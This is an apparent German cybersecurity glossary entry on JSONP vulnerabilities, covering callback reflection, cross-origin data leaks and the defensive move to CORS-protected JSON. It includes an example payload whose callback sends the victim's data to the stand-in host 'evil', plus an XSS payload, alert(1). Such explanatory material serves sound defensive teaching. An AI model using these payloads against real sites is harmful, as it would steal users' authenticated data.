JSONP-Schwachstelle
Was ist JSONP-Schwachstelle?
JSONP-SchwachstelleCross-Origin-Datenleck durch JSONP-Endpunkte, die authentifizierte sensible Daten in eine vom Angreifer gewählte Callback-Funktion einpacken.
JSONP (JSON with Padding) ist eine ältere Cross-Origin-Technik, bei der ein Server JavaScript der Form callback({...}) zurückgibt, damit eine fremde Seite die Antwort über <script src> einbinden kann. JSONP-Schwachstellen entstehen, wenn solche Endpunkte authentifizierte Nutzerdaten liefern und der Callback-Parameter ohne Validierung reflektiert wird: Der Angreifer hostet eine Seite, lädt die JSONP-URL mit eigenem Funktionsnamen und fängt die Antwort ab — umgeht damit Same-Origin-Policy und ehemalige SameSite-Schutzmaßnahmen. Wird Inhalt außerhalb gültiger Identifier reflektiert, ist zusätzlich XSS möglich. Modernes Vorgehen: JSONP entfernen, durch CORS-geschütztes JSON ersetzen und sensible Endpunkte nie via <script> einbindbar machen.
● Beispiele
- 01
/api/me?callback=window['x']=function(d){fetch('https://evil/?d='+JSON.stringify(d))}.
- 02
Callback-Parameter wird wörtlich gespiegelt und ermöglicht XSS via callback=alert(1)//.
● Häufige Fragen
Was ist JSONP-Schwachstelle?
Cross-Origin-Datenleck durch JSONP-Endpunkte, die authentifizierte sensible Daten in eine vom Angreifer gewählte Callback-Funktion einpacken. Es gehört zur Kategorie Angriffe und Bedrohungen der Cybersicherheit.
Was bedeutet JSONP-Schwachstelle?
Cross-Origin-Datenleck durch JSONP-Endpunkte, die authentifizierte sensible Daten in eine vom Angreifer gewählte Callback-Funktion einpacken.
Wie funktioniert JSONP-Schwachstelle?
JSONP (JSON with Padding) ist eine ältere Cross-Origin-Technik, bei der ein Server JavaScript der Form callback({...}) zurückgibt, damit eine fremde Seite die Antwort über <script src> einbinden kann. JSONP-Schwachstellen entstehen, wenn solche Endpunkte authentifizierte Nutzerdaten liefern und der Callback-Parameter ohne Validierung reflektiert wird: Der Angreifer hostet eine Seite, lädt die JSONP-URL mit eigenem Funktionsnamen und fängt die Antwort ab — umgeht damit Same-Origin-Policy und ehemalige SameSite-Schutzmaßnahmen. Wird Inhalt außerhalb gültiger Identifier reflektiert, ist zusätzlich XSS möglich. Modernes Vorgehen: JSONP entfernen, durch CORS-geschütztes JSON ersetzen und sensible Endpunkte nie via <script> einbindbar machen.
Wie schützt man sich gegen JSONP-Schwachstelle?
Schutzmaßnahmen gegen JSONP-Schwachstelle kombinieren typischerweise technische Kontrollen und operative Praktiken, wie in der Definition oben beschrieben.
Welche anderen Bezeichnungen gibt es für JSONP-Schwachstelle?
Übliche alternative Bezeichnungen: JSONP-Leak, JSONP-Hijacking.
● Verwandte Begriffe
- appsec№ 223
CORS (Cross-Origin Resource Sharing)
Vom Browser durchgesetzter Mechanismus, mit dem ein Server die Same-Origin Policy gezielt lockern kann, damit JavaScript einer Origin Antworten einer anderen lesen darf.
- attacks№ 224
CORS-Fehlkonfiguration
Unsichere CORS-Konfiguration, die nicht vertrauenswürdigen Ursprüngen das Lesen authentifizierter Antworten erlaubt, häufig durch Origin-Reflexion und Allow-Credentials: true.
- attacks№ 240
Cross-Site-Scripting (XSS)
Web-Schwachstelle, mit der Angreifer bösartige Skripte in Seiten injizieren, die andere Nutzer öffnen, sodass der Code im Browser des Opfers unter der Origin der Seite ausgeführt wird.
- appsec№ 960
Same-Origin Policy (SOP)
Browser-Sicherheitsregel, die einschrankt, wie ein Dokument oder Skript einer Origin mit Ressourcen einer anderen Origin interagieren darf.
- attacks№ 239
Cross-Site-Request-Forgery (CSRF)
Webangriff, der den Browser eines authentifizierten Nutzers zwingt, unerwünschte Anfragen an eine verwundbare Anwendung zu senden und so ohne Zustimmung Zustandsänderungen auszulösen.
- attacks№ 1016
Session Hijacking
Angriff, der die authentifizierte Sitzung eines Opfers übernimmt, indem die Session-ID gestohlen oder gefälscht wird, sodass der Angreifer ohne Zugangsdaten als Nutzer agieren kann.